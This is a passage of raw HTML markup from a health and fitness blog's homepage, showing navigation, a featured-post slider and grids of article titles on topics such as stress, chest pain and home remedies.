  527. <nav id="site-navigation" class="main-navigation penci_disable_padding_menu pencimn-slide_down" itemscope itemtype="http://schema.org/SiteNavigationElement">
  528. <ul id="menu-main-menu" class="menu"><li id="menu-item-2630" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2630"><a href="https://www.tophealthfitnesstips.com/category/health/" itemprop="url">Health</a></li>
  529. <li id="menu-item-1821" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1821"><a href="https://www.tophealthfitnesstips.com/category/fitness/" itemprop="url">Fitness</a></li>
  530. <li id="menu-item-2629" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2629"><a href="https://www.tophealthfitnesstips.com/category/well-being/" itemprop="url">Well Being</a></li>
  531. <li id="menu-item-2127" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2127"><a href="https://www.tophealthfitnesstips.com/category/remedies/" itemprop="url">Remedies</a></li>
  532. <li id="menu-item-1823" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1823"><a href="https://www.tophealthfitnesstips.com/category/diet/" itemprop="url">Diet</a></li>
  533. </ul>
  534. </nav><!-- #site-navigation -->
  535. </div>
  536. </header><!-- #masthead -->
  537. </div><div class="penci-header-mobile" >
  538. <div class="penci-header-mobile_container">
  539. <button class="menu-toggle navbar-toggle" aria-expanded="false"><span class="screen-reader-text">Primary Menu</span><i class="fa fa-bars"></i></button>
  540. <div class="site-branding"> <a href="https://www.tophealthfitnesstips.com/" class="custom-logo-link logo_header_mobile"><img src="https://www.tophealthfitnesstips.com/wp-content/uploads/2022/01/logo.png" alt="Top Health Fitness Tips"/></a></div>
  541. <div class="header__search-mobile header__search header__search_dis_bg" id="top-search-mobile">
  542. <a class="search-click"><i class="fa fa-search"></i></a>
  543. <div class="show-search">
  544. <div class="show-search__content">
  545. <form method="get" class="search-form" action="https://www.tophealthfitnesstips.com/">
  546. <label>
  547. <span class="screen-reader-text">Search for:</span>
  548. <input  type="text" id="penci-search-field-mobile" class="search-field penci-search-field-mobile" placeholder="Enter keyword..." value="" name="s" autocomplete="off">
  549. </label>
  550. <button type="submit" class="search-submit">
  551. <i class="fa fa-search"></i>
  552. <span class="screen-reader-text">Search</span>
  553. </button>
  554. </form>
  555. <div class="penci-ajax-search-results">
  556. <div class="penci-ajax-search-results-wrapper"></div>
  557. <div class="penci-loader-effect penci-loading-animation-9"> <div class="penci-loading-circle"> <div class="penci-loading-circle1 penci-loading-circle-inner"></div> <div class="penci-loading-circle2 penci-loading-circle-inner"></div> <div class="penci-loading-circle3 penci-loading-circle-inner"></div> <div class="penci-loading-circle4 penci-loading-circle-inner"></div> <div class="penci-loading-circle5 penci-loading-circle-inner"></div> <div class="penci-loading-circle6 penci-loading-circle-inner"></div> <div class="penci-loading-circle7 penci-loading-circle-inner"></div> <div class="penci-loading-circle8 penci-loading-circle-inner"></div> <div class="penci-loading-circle9 penci-loading-circle-inner"></div> <div class="penci-loading-circle10 penci-loading-circle-inner"></div> <div class="penci-loading-circle11 penci-loading-circle-inner"></div> <div class="penci-loading-circle12 penci-loading-circle-inner"></div> </div> </div> </div>
  558. </div>
  559. </div>
  560. </div>
  561. </div>
  562. </div> <div id="content" class="site-content">
  563. <div id="primary" class="content-area">
  564. <main id="main" class="site-main">
  565. <div class="vc_row wpb_row vc_row_96988425 vc_row-fluid penci-pb-row"><div class="wpb_column vc_column_container vc_col-sm-12 penci-col-12"><div class="vc_column-inner wpb_column vc_column_container vc_col-sm-12 penci-col-12 "><div class="wpb_wrapper"><div class="vc_empty_space"   style="height: 20px"><span class="vc_empty_space_inner"></span></div><div class="penci-container-vc penci-container-1170 penci-container-width-1080 penci_vc_sticky_sidebar penci-vc_one-column"><div class="penci-container__content penci-con_sb2_sb1"><div  class="penci-content-main  no-class_layout " role="complementary"><div class="theiaStickySidebar"><div id="penci-slider--78547" data-ride="penci_sliders" class="penci-owl-carousel-slider penci-owl-featured-area  penci-owl-carousel-style style-11 penci-item-sdefault penci-slider--78547 penci-vc-column-3" data-style="style-11" data-items="1" data-autowidth="0" data-auto="1" data-autotime="4000" data-speed="600" data-loop="0" data-dots="0" data-nav="1" data-magrin="0" data-center="0"><div class="penci-slider-wrapper-item"><div class="penci-slider11-item penci-slider11-item-1"> <div class="penci-item-mag penci-item-1 penci-item-style penci-item-style1">
  566. <a class="penci-image-holder owl-lazy" data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/03/Manage-Stress-1-480x320.jpg" href="https://www.tophealthfitnesstips.com/ways-to-manage-stress/" title="The Best Ways to Manage Stress"></a>
  567. <div class="penci-featured-content penci-slider-ani-delay-06 penci__general-meta">
  568. <a class="featured-slider-overlay penci-gradient" href="https://www.tophealthfitnesstips.com/ways-to-manage-stress/"></a>
  569. <div class="penci-slider__text">
  570. <div class="cat penci-slider__cat"><a class="penci-cat-name" href="https://www.tophealthfitnesstips.com/category/tips-and-tricks/" title="View all posts in Tips and Tricks" >Tips and Tricks</a></div> <h3 class="penci_slider__title entry-title">
  571. <a title="The Best Ways to Manage Stress" href="https://www.tophealthfitnesstips.com/ways-to-manage-stress/">The Best Ways to Manage Stress</a>
  572. </h3>
  573. </div>
  574. </div> </div>
  575. <div class="penci-item-mag penci-item-2 penci-item-style penci-item-style2">
  576. <a class="penci-image-holder owl-lazy" data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/04/Chest-Pain-480x320.jpg" href="https://www.tophealthfitnesstips.com/chest-pains/" title="What Causes Chest Pain That Comes And Goes? –  Causes, And More"></a>
  577. <div class="penci-featured-content penci-slider-ani-delay-06 penci__general-meta">
  578. <a class="featured-slider-overlay penci-gradient" href="https://www.tophealthfitnesstips.com/chest-pains/"></a>
  579. <div class="penci-slider__text">
  580. <div class="cat penci-slider__cat"><a class="penci-cat-name" href="https://www.tophealthfitnesstips.com/category/health/" title="View all posts in Health" >Health</a></div> <h3 class="penci_slider__title entry-title">
  581. <a title="What Causes Chest Pain That Comes And Goes? –  Causes, And More" href="https://www.tophealthfitnesstips.com/chest-pains/">What Causes Chest Pain That Comes And Goes? –  Causes,...</a>
  582. </h3>
  583. </div>
  584. </div> </div>
  585. </div><div class="penci-slider11-item penci-slider11-item-2"> <div class="penci-item-mag penci-item-3 item__big-thumb penci-item-style penci-item-style3">
  586. <a class="penci-image-holder owl-lazy" data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/04/Guava-760x570.jpg" href="https://www.tophealthfitnesstips.com/health-benefits-of-guava/" title="What are the Health Benefits of Guava?"></a>
  587. <div class="penci-featured-content penci-slider-ani-delay-06 penci__general-meta">
  588. <a class="featured-slider-overlay penci-gradient" href="https://www.tophealthfitnesstips.com/health-benefits-of-guava/"></a>
  589. <div class="penci-slider__text">
  590. <div class="cat penci-slider__cat"><a class="penci-cat-name" href="https://www.tophealthfitnesstips.com/category/health/" title="View all posts in Health" >Health</a></div> <h3 class="penci_slider__title entry-title">
  591. <a title="What are the Health Benefits of Guava?" href="https://www.tophealthfitnesstips.com/health-benefits-of-guava/">What are the Health Benefits of Guava?</a>
  592. </h3>
  593. </div>
  594. </div> </div>
  595. </div><div class="penci-slider11-item penci-slider11-item-3"> <div class="penci-item-mag penci-item-4 penci-item-style penci-item-style4">
  596. <a class="penci-image-holder owl-lazy" data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/04/Skin-Diseases-480x320.jpg" href="https://www.tophealthfitnesstips.com/skin-diseases-summary/" title="What Is Skin Diseases? – Skin Disease, Types, And More"></a>
  597. <div class="penci-featured-content penci-slider-ani-delay-06 penci__general-meta">
  598. <a class="featured-slider-overlay penci-gradient" href="https://www.tophealthfitnesstips.com/skin-diseases-summary/"></a>
  599. <div class="penci-slider__text">
  600. <div class="cat penci-slider__cat"><a class="penci-cat-name" href="https://www.tophealthfitnesstips.com/category/health/" title="View all posts in Health" >Health</a></div> <h3 class="penci_slider__title entry-title">
  601. <a title="What Is Skin Diseases? – Skin Disease, Types, And More" href="https://www.tophealthfitnesstips.com/skin-diseases-summary/">What Is Skin Diseases? – Skin Disease, Types, And More</a>
  602. </h3>
  603. </div>
  604. </div> </div>
  605. <div class="penci-item-mag penci-item-5 penci-item-style penci-item-style5">
  606. <a class="penci-image-holder owl-lazy" data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/04/Fitbit-Luxe-Bands-480x320.jpg" href="https://www.tophealthfitnesstips.com/fitbit-luxe-bands-fits/" title="How Fitbit Luxe Bands Fits you"></a>
  607. <div class="penci-featured-content penci-slider-ani-delay-06 penci__general-meta">
  608. <a class="featured-slider-overlay penci-gradient" href="https://www.tophealthfitnesstips.com/fitbit-luxe-bands-fits/"></a>
  609. <div class="penci-slider__text">
  610. <div class="cat penci-slider__cat"><a class="penci-cat-name" href="https://www.tophealthfitnesstips.com/category/top-health-fitness-tips/" title="View all posts in Top Health Fitness Tips" >Top Health Fitness Tips</a></div> <h3 class="penci_slider__title entry-title">
  611. <a title="How Fitbit Luxe Bands Fits you" href="https://www.tophealthfitnesstips.com/fitbit-luxe-bands-fits/">How Fitbit Luxe Bands Fits you</a>
  612. </h3>
  613. </div>
  614. </div> </div>
  615. </div></div><!--.item slider--><div class="penci-slider-wrapper-item"><div class="penci-slider11-item penci-slider11-item-1"> <div class="penci-item-mag penci-item-1 penci-item-style penci-item-style1">
  616. <a class="penci-image-holder owl-lazy" data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/02/All-About-Pulse-and-Heart-Rate-480x320.jpg" href="https://www.tophealthfitnesstips.com/pulse-and-heart-rate/" title="All About Pulse and Heart Rate"></a>
  617. <div class="penci-featured-content penci-slider-ani-delay-06 penci__general-meta">
  618. <a class="featured-slider-overlay penci-gradient" href="https://www.tophealthfitnesstips.com/pulse-and-heart-rate/"></a>
  619. <div class="penci-slider__text">
  620. <div class="cat penci-slider__cat"><a class="penci-cat-name" href="https://www.tophealthfitnesstips.com/category/health/" title="View all posts in Health" >Health</a></div> <h3 class="penci_slider__title entry-title">
  621. <a title="All About Pulse and Heart Rate" href="https://www.tophealthfitnesstips.com/pulse-and-heart-rate/">All About Pulse and Heart Rate</a>
  622. </h3>
  623. </div>
  624. </div> </div>
  625. <div class="penci-item-mag penci-item-2 penci-item-style penci-item-style2">
  626. <a class="penci-image-holder owl-lazy" data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/04/3-Ways-To-Care-For-Your-Dogs-Cancer-480x320.jpg" href="https://www.tophealthfitnesstips.com/care-for-your-dogs-cancer/" title="3 Ways To Care For Your Dog&#8217;s Cancer"></a>
  627. <div class="penci-featured-content penci-slider-ani-delay-06 penci__general-meta">
  628. <a class="featured-slider-overlay penci-gradient" href="https://www.tophealthfitnesstips.com/care-for-your-dogs-cancer/"></a>
  629. <div class="penci-slider__text">
  630. <div class="cat penci-slider__cat"><a class="penci-cat-name" href="https://www.tophealthfitnesstips.com/category/fitness/" title="View all posts in Fitness" >Fitness</a></div> <h3 class="penci_slider__title entry-title">
  631. <a title="3 Ways To Care For Your Dog&#8217;s Cancer" href="https://www.tophealthfitnesstips.com/care-for-your-dogs-cancer/">3 Ways To Care For Your Dog&#8217;s Cancer</a>
  632. </h3>
  633. </div>
  634. </div> </div>
  635. </div><div class="penci-slider11-item penci-slider11-item-2"> <div class="penci-item-mag penci-item-3 item__big-thumb penci-item-style penci-item-style3">
  636. <a class="penci-image-holder owl-lazy" data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/02/Improve-Gut-Health-for-Women-760x570.jpg" href="https://www.tophealthfitnesstips.com/gut-health-for-women/" title="How to Improve Gut Health for Women"></a>
  637. <div class="penci-featured-content penci-slider-ani-delay-06 penci__general-meta">
  638. <a class="featured-slider-overlay penci-gradient" href="https://www.tophealthfitnesstips.com/gut-health-for-women/"></a>
  639. <div class="penci-slider__text">
  640. <div class="cat penci-slider__cat"><a class="penci-cat-name" href="https://www.tophealthfitnesstips.com/category/health/" title="View all posts in Health" >Health</a></div> <h3 class="penci_slider__title entry-title">
  641. <a title="How to Improve Gut Health for Women" href="https://www.tophealthfitnesstips.com/gut-health-for-women/">How to Improve Gut Health for Women</a>
  642. </h3>
  643. </div>
  644. </div> </div>
  645. </div><div class="penci-slider11-item penci-slider11-item-3"> <div class="penci-item-mag penci-item-4 penci-item-style penci-item-style4">
  646. <a class="penci-image-holder owl-lazy" data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/02/How-Important-Is-Fitness-In-Our-Lives_-480x320.jpg" href="https://www.tophealthfitnesstips.com/important-is-fitness/" title="How Important Is Fitness In Our Lives?"></a>
  647. <div class="penci-featured-content penci-slider-ani-delay-06 penci__general-meta">
  648. <a class="featured-slider-overlay penci-gradient" href="https://www.tophealthfitnesstips.com/important-is-fitness/"></a>
  649. <div class="penci-slider__text">
  650. <div class="cat penci-slider__cat"><a class="penci-cat-name" href="https://www.tophealthfitnesstips.com/category/fitness/" title="View all posts in Fitness" >Fitness</a></div> <h3 class="penci_slider__title entry-title">
  651. <a title="How Important Is Fitness In Our Lives?" href="https://www.tophealthfitnesstips.com/important-is-fitness/">How Important Is Fitness In Our Lives?</a>
  652. </h3>
  653. </div>
  654. </div> </div>
  655. <div class="penci-item-mag penci-item-5 penci-item-style penci-item-style5">
  656. <a class="penci-image-holder owl-lazy" data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/03/A-fit-philosophy-of-healthy-gluten-free-easy-recipes-480x320.jpg" href="https://www.tophealthfitnesstips.com/free-easy-recipes/" title="A fit philosophy of healthy gluten free easy recipes"></a>
  657. <div class="penci-featured-content penci-slider-ani-delay-06 penci__general-meta">
  658. <a class="featured-slider-overlay penci-gradient" href="https://www.tophealthfitnesstips.com/free-easy-recipes/"></a>
  659. <div class="penci-slider__text">
  660. <div class="cat penci-slider__cat"><a class="penci-cat-name" href="https://www.tophealthfitnesstips.com/category/health/" title="View all posts in Health" >Health</a></div> <h3 class="penci_slider__title entry-title">
  661. <a title="A fit philosophy of healthy gluten free easy recipes" href="https://www.tophealthfitnesstips.com/free-easy-recipes/">A fit philosophy of healthy gluten free easy recipes</a>
  662. </h3>
  663. </div>
  664. </div> </div>
  665. </div></div><!--.item slider--></div><style>#penci-slider--78547_headding.style-title-1 .penci-block__title{ font-family:"Montserrat";font-weight:600; }#penci-slider--78547 h3, #penci-slider--78547 .penci_slider__title { font-family:"Montserrat";font-weight:400; }@media screen and (min-width: 961px ){#penci-slider--78547 h3, #penci-slider--78547 .penci_slider__title { font-size:15px !important; }}#penci-slider--78547 .penci-slider__meta .penci-slider__meta-item,#penci-slider--78547 .penci_post-meta,#penci-slider--78547 .penci-slider__meta{ font-family:"Montserrat";font-weight:400; !important; }#penci-slider--78547 .penci-slider__cat .penci-cat-name{ font-family:"Montserrat";font-weight:400; }@media (min-width: 961px){#penci-slider--78547 .item__big-thumb .penci_slider__title,#penci-slider--78547 .penci-big_items h3{ font-size:24px !important; } }#penci-slider--78547 .penci__general-meta .penci_post-meta,#penci-slider--78547 .penci-slider__meta{ color:#ffffff !important;  }#penci-slider--78547 .penci-slider__text{ animation-delay:0.4s;  -webkit-animation-delay: 0.4s; }#penci-slider--78547 .penci-slider__cat{ animation-delay:0.5s;  -webkit-animation-delay: 0.5s; }#penci-slider--78547  h3{ animation-delay:0.7s; -webkit-animation-delay: 0.7s; }#penci-slider--78547 .penci-slider__meta{ animation-delay:0.9s; -webkit-animation-delay: 0.9s; }</style></div></div></div></div></div></div></div></div><div data-vc-parallax="2" data-vc-parallax-image="" class="vc_row wpb_row vc_row_71014509 vc_row-fluid penci-pb-row vc_custom_1594217297387 vc_row-has-fill vc_general vc_parallax vc_parallax-content-moving"><div class="wpb_column vc_column_container vc_col-sm-12 penci-col-12"><div class="vc_column-inner wpb_column vc_column_container vc_col-sm-12 penci-col-12 "><div class="wpb_wrapper"><div class="penci-container-vc penci-container-1170 penci-container-width-1080 penci_vc_sticky_sidebar penci-vc_one-column"><div class="penci-container__content penci-con_sb2_sb1"><div  class="penci-content-main  no-class_layout " role="complementary"><div class="theiaStickySidebar">
  666. <div id="penci_grid_7__62759930" class="penci-block-vc penci-block_grid penci-grid_7 penci__general-meta style-title-8 style-title-left penci-block-next_prev penci-imgtype-vertical penci-link-filter-hidden penci-vc-column-3" data-current="1" data-blockUid="penci_grid_7__62759930" >
  667. <div class="penci-block-heading">
  668. <h3 class="penci-block__title"><a href="/category/remedies/" title="Best Remedies">Best Remedies</a ></h3> <span class="penci-slider-nav">
  669. <a class="penci-block-pag penci-slider-prev penci-pag-disabled" data-block_id="penci_grid_7__62759930block_content" href="#"><i class="fa fa-angle-left"></i></a>
  670. <a class="penci-block-pag penci-slider-next " data-block_id="penci_grid_7__62759930block_content" href="#"><i class="fa fa-angle-right"></i></a>
  671. </span>
  672. </div>
  673. <div id="penci_grid_7__62759930block_content" class="penci-block_content">
  674. <div class="penci-block_content__items penci-block-items__1"><article  class="penci_post_thumb hentry penci-post-item"><div class="penci-post-item__inner"><a class="penci-image-holder  penci-lazy penci-gradient penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/04/Some-Home-Remedies-For-Dry-Cough-480x645.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/some-remedies-for-dry-cough/" title="Some Home Remedies For Dry Cough"> <span class="screen-reader-text">Some Home Remedies For Dry Cough</span></a><div class="penci-slide-overlay"><a class="overlay-link" href="https://www.tophealthfitnesstips.com/some-remedies-for-dry-cough/"></a><div class="penci_post_content"><div class="feat-text "><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/some-remedies-for-dry-cough/" title=" Some Home Remedies For Dry Cough ">Some Home Remedies For Dry Cough</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-07T12:38:02+00:00">May 7, 2025</time><time class="updated" datetime="2025-05-09T17:20:03+00:00">May 9, 2025</time></div></div></div></div></div></article><article  class="penci_post_thumb hentry penci-post-item"><div class="penci-post-item__inner"><a class="penci-image-holder  penci-lazy penci-gradient penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2024/03/Health-1-480x645.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/remedies/" title="Learn about the Eight Natural Remedies for Good Health"> <span class="screen-reader-text">Learn about the Eight Natural Remedies for Good Health</span></a><div class="penci-slide-overlay"><a class="overlay-link" href="https://www.tophealthfitnesstips.com/remedies/"></a><div class="penci_post_content"><div class="feat-text "><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/remedies/" title=" Learn about the Eight Natural Remedies for Good Health ">Learn about the Eight Natural Remedies for Good Health</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-05T18:25:47+00:00">May 5, 2025</time><time class="updated" datetime="2025-05-07T23:59:32+00:00">May 7, 2025</time></div></div></div></div></div></article><article  class="penci_post_thumb hentry penci-post-item"><div class="penci-post-item__inner"><a class="penci-image-holder  penci-lazy penci-gradient penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2024/03/Benefits-Of-Lemon-That-You-May-Not-Have-Known-480x645.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/lemon/" title="Benefits Of Lemon That You May Not Have Known"> <span class="screen-reader-text">Benefits Of Lemon That You May Not Have Known</span></a><div class="penci-slide-overlay"><a class="overlay-link" href="https://www.tophealthfitnesstips.com/lemon/"></a><div class="penci_post_content"><div class="feat-text "><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/lemon/" title=" Benefits Of Lemon That You May Not Have Known ">Benefits Of Lemon That You May Not Have Known</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-05T17:19:48+00:00">May 5, 2025</time><time class="updated" datetime="2025-05-08T00:02:37+00:00">May 8, 2025</time></div></div></div></div></div></article></div><div class="penci-loader-effect penci-loading-animation-9"> <div class="penci-loading-circle"> <div class="penci-loading-circle1 penci-loading-circle-inner"></div> <div class="penci-loading-circle2 penci-loading-circle-inner"></div> <div class="penci-loading-circle3 penci-loading-circle-inner"></div> <div class="penci-loading-circle4 penci-loading-circle-inner"></div> <div class="penci-loading-circle5 penci-loading-circle-inner"></div> <div class="penci-loading-circle6 penci-loading-circle-inner"></div> <div class="penci-loading-circle7 penci-loading-circle-inner"></div> <div class="penci-loading-circle8 penci-loading-circle-inner"></div> <div class="penci-loading-circle9 penci-loading-circle-inner"></div> <div class="penci-loading-circle10 penci-loading-circle-inner"></div> <div class="penci-loading-circle11 penci-loading-circle-inner"></div> <div class="penci-loading-circle12 penci-loading-circle-inner"></div> </div> </div> </div>
  675. </div>
  676. <style>#penci_grid_7__62759930 .penci-block__title a:hover{ color:#ffffff !important; }#penci_grid_7__62759930 .penci-block__title a:hover{ color:#ffffff; }#penci_grid_7__62759930.penci-block-vc{ background-color:transparent !important; }@media screen and (min-width: 768px ){}#penci_grid_7__62759930.style-title-8 .penci-block__title{ font-family:"Roboto";font-weight:700; }@media screen and (min-width: 768px ){#penci_grid_7__62759930.style-title-8 .penci-block__title{ font-size:20px !important; }}@media screen and (min-width: 768px ){#penci_grid_7__62759930 .penci-subcat-filter .penci-subcat-item a,#penci_grid_7__62759930 .penci-subcat-list .flexMenu-viewMore > a{ font-size:15px !important; }}#penci_grid_7__62759930.style-title-8 .penci-block__title{ font-family:"Roboto";font-weight:700; }@media screen and (min-width: 768px ){#penci_grid_7__62759930.style-title-8 .penci-block__title{ font-size:20px !important; }}@media screen and (min-width: 768px ){#penci_grid_7__62759930 .penci-subcat-filter .penci-subcat-item a,#penci_grid_7__62759930 .penci-subcat-list .flexMenu-viewMore > a{ font-size:15px !important; }}#penci_grid_7__62759930 .penci__post-title{ font-family:"Roboto";font-weight:700; }@media screen and (min-width: 768px ){#penci_grid_7__62759930 .penci__post-title{ font-size:18px !important; }}@media screen and (min-width: 768px ){#penci_grid_7__62759930.penci__general-meta .penci_post-meta, #penci_grid_7__62759930 .penci_post-meta a, #penci_grid_7__62759930 .penci_post-meta span{ font-size:14px !important; }}</style><script>if( typeof(penciBlock) === "undefined" ) {function penciBlock() {
  677.    this.atts_json = '';
  678.    this.content = '';
  679. }}var penciBlocksArray = penciBlocksArray || [];var PENCILOCALCACHE = PENCILOCALCACHE || {};var penci_grid_7__62759930 = new penciBlock();penci_grid_7__62759930.blockID="penci_grid_7__62759930";penci_grid_7__62759930.atts_json = '{"build_query":"post_type:post|size:3|order_by:date|order:DESC|categories:26","add_title_icon":"","title_i_align":"left","title_icon":"","image_type":"vertical","image_ratio":1.34,"image_size":"penci-thumb-480-645","block_title_meta_settings":"","block_title_align":"style-title-left","block_title_off_uppercase":"","block_title_wborder_left_right":"5px","block_title_wborder":"3px","post_title_trimword_settings":"","post_standard_title_length":"12","hide_comment":"true","hide_post_date":"true","hide_icon_post_format":"","hide_cat":"true","show_allcat":"","hide_review_piechart":"","show_author":"","show_count_view":"","dis_bg_block":"true","enable_stiky_post":"","style_pag":"next_prev","post_category_css":"","pagination_css":"","loadmore_css":"","disable_bg_load_more":"","custom_markup_1":"","ajax_filter_type":"","ajax_filter_selected":"","ajax_filter_childselected":"","ajax_filter_number_item":"5","block_id":"penci_grid_7-1507710248861","penci_show_desk":"1","penci_show_tablet":"1","penci_show_mobile":"1","paged":1,"unique_id":"penci_grid_7__62759930","shortcode_id":"grid_7","category_ids":"","taxonomy":""}';penci_grid_7__62759930.content="";penciBlocksArray.push(penci_grid_7__62759930);</script></div></div></div></div><div class="vc_empty_space"   style="height: 40px"><span class="vc_empty_space_inner"></span></div></div></div></div></div><div class="vc_row wpb_row vc_row_51320851 vc_row-fluid penci-pb-row"><div class="wpb_column vc_column_container vc_col-sm-12 penci-col-12"><div class="vc_column-inner wpb_column vc_column_container vc_col-sm-12 penci-col-12 "><div class="wpb_wrapper"><div class="penci-container-vc penci-container-1170 penci-container-width-1080"><div class="penci-container__content row penci-con_sb2_sb1"><div  class="penci-content-main penci-col-4 " role="complementary"><div class="theiaStickySidebar"><div id="penci_block_11__83559722" class="penci-block-vc penci-block_11 penci__general-meta style-title-8 style-title-left penci-block-next_prev penci-imgtype-landscape penci-link-filter-hidden penci-vc-column-1" data-current="1" data-blockUid="penci_block_11__83559722" >
  680. <div class="penci-block-heading">
  681. <h3 class="penci-block__title"><a href="/category/health/" title="Health Tips">Health Tips</a ></h3> <span class="penci-slider-nav">
  682. <a class="penci-block-pag penci-slider-prev penci-pag-disabled" data-block_id="penci_block_11__83559722block_content" href="#"><i class="fa fa-angle-left"></i></a>
  683. <a class="penci-block-pag penci-slider-next " data-block_id="penci_block_11__83559722block_content" href="#"><i class="fa fa-angle-right"></i></a>
  684. </span>
  685. </div>
  686. <div id="penci_block_11__83559722block_content" class="penci-block_content">
  687. <div class="penci-block_content__items penci-block-items__1"><article  class="block11_first_item hentry penci-post-item"><div class="penci-post-item__inner"><a class="penci-image-holder  penci-lazy penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/04/Chest-Pain-480x320.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/chest-pains/" title="What Causes Chest Pain That Comes And Goes? –  Causes, And More"></a><div class="penci_post_content"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/chest-pains/" title=" What Causes Chest Pain That Comes And Goes? –  Causes, And More ">What Causes Chest Pain That Comes And Goes? –  Causes, And More</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-08T14:26:03+00:00">May 8, 2025</time><time class="updated" datetime="2025-05-09T17:36:14+00:00">May 9, 2025</time></div></div></div></article><div class="block11_items"><article class="hentry penci-post-item"><div class="penci_media_object"><a class="penci-image-holder  penci-lazy penci_mobj__img penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/04/Guava-280x186.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/health-benefits-of-guava/" title="What are the Health Benefits of Guava?"></a><div class="penci_post_content penci_mobj__body"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/health-benefits-of-guava/" title=" What are the Health Benefits of Guava? ">What are the Health Benefits of Guava?</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-08T12:06:07+00:00">May 8, 2025</time><time class="updated" datetime="2025-05-09T17:33:29+00:00">May 9, 2025</time></div></div></div></article><article class="hentry penci-post-item"><div class="penci_media_object"><a class="penci-image-holder  penci-lazy penci_mobj__img penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/04/Skin-Diseases-280x186.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/skin-diseases-summary/" title="What Is Skin Diseases? – Skin Disease, Types, And More"></a><div class="penci_post_content penci_mobj__body"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/skin-diseases-summary/" title=" What Is Skin Diseases? – Skin Disease, Types, And More ">What Is Skin Diseases? – Skin Disease, Types, And More</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-08T11:42:58+00:00">May 8, 2025</time><time class="updated" datetime="2025-05-09T17:27:59+00:00">May 9, 2025</time></div></div></div></article><article class="hentry penci-post-item"><div class="penci_media_object"><a class="penci-image-holder  penci-lazy penci_mobj__img penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/02/All-About-Pulse-and-Heart-Rate-280x186.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/pulse-and-heart-rate/" title="All About Pulse and Heart Rate"></a><div class="penci_post_content penci_mobj__body"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/pulse-and-heart-rate/" title=" All About Pulse and Heart Rate ">All About Pulse and Heart Rate</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-08T10:08:18+00:00">May 8, 2025</time><time class="updated" datetime="2025-05-09T13:42:39+00:00">May 9, 2025</time></div></div></div></article><article class="hentry penci-post-item"><div class="penci_media_object"><a class="penci-image-holder  penci-lazy penci_mobj__img penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/02/Improve-Gut-Health-for-Women-280x186.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/gut-health-for-women/" title="How to Improve Gut Health for Women"></a><div class="penci_post_content penci_mobj__body"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/gut-health-for-women/" title=" How to Improve Gut Health for Women ">How to Improve Gut Health for Women</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-08T09:28:24+00:00">May 8, 2025</time><time class="updated" datetime="2025-05-09T15:44:37+00:00">May 9, 2025</time></div></div></div></article></div></div><div class="penci-loader-effect penci-loading-animation-9"> <div class="penci-loading-circle"> <div class="penci-loading-circle1 penci-loading-circle-inner"></div> <div class="penci-loading-circle2 